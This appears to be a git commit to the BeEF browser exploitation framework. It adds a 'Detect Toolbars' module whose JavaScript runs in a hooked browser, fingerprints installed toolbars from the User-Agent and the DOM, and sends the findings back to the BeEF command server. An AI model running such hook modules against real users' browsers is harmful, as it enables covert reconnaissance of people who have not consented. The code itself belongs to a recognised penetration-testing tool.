Module: Detect Toolbars
Added a module to detect browser toolbars by checking the User-Agent and the DOM
This commit is contained in:
7
.gitignore
vendored
7
.gitignore
vendored
@@ -1,3 +1,8 @@
|
||||
beef.db
|
||||
test/msf-test
|
||||
custom-config.yaml
|
||||
custom-config.yaml
|
||||
.DS_Store
|
||||
|
||||
.gitignore
|
||||
|
||||
.gitignore
|
||||
|
||||
61
modules/browser/detect_toolbars/command.js
Normal file
61
modules/browser/detect_toolbars/command.js
Normal file
@@ -0,0 +1,61 @@
|
||||
//
|
||||
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
|
||||
beef.execute(function() {
|
||||
|
||||
var toolbar_ua = new Array (
|
||||
new Array (" Alexa Toolbar", " Alexa"),
|
||||
new Array (" AskTbS-PV", " Ask"),
|
||||
new Array (" BRI", " Bing"),
|
||||
new Array (" GTB", " Google"),
|
||||
new Array (" SU ", " Stumble Upon")
|
||||
)
|
||||
|
||||
var toolbar_id = new Array (
|
||||
new Array ("AlexaCustomScriptId", " Alexa")
|
||||
)
|
||||
|
||||
var result = '';
|
||||
var separator = ", ";
|
||||
|
||||
// CHECK USER-AGENT
|
||||
for (var i = 0; i < toolbar_ua.length; i++) {
|
||||
|
||||
var agentRegex = new RegExp( toolbar_ua[i][0], 'g' );
|
||||
|
||||
if ( agentRegex.exec(navigator.userAgent) ) {
|
||||
|
||||
result += toolbar_ua[i][1] + separator;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// CHECK ELEMENT ID (DOM)
|
||||
for (var i = 0; i < toolbar_id.length; i++) {
|
||||
|
||||
var element = document.getElementById( toolbar_id[i][0] );
|
||||
|
||||
if ( typeof(element) != 'undefined' && element != null ) {
|
||||
|
||||
result += toolbar_id[i][1] + separator;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
// ENDING
|
||||
if ( result != '' ) {
|
||||
|
||||
result = result.slice(0, -separator.length);
|
||||
|
||||
} else if ( result == '' ) {
|
||||
|
||||
result = " no toolbars detected";
|
||||
|
||||
}
|
||||
|
||||
beef.net.send("<%= @command_url %>", <%= @command_id %>, "toolbars="+result);
|
||||
|
||||
});
|
||||
16
modules/browser/detect_toolbars/config.yaml
Normal file
16
modules/browser/detect_toolbars/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
Detect_toolbars:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "Detect Toolbars"
|
||||
description: "Detects which browser toolbars are installed."
|
||||
authors: ["gcattani"]
|
||||
target:
|
||||
working: ["All"]
|
||||
not_working: ["None"]
|
||||
14
modules/browser/detect_toolbars/module.rb
Normal file
14
modules/browser/detect_toolbars/module.rb
Normal file
@@ -0,0 +1,14 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
class Detect_toolbars < BeEF::Core::Command
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['toolbars'] = @datastore['toolbars']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
Reference in New Issue
Block a user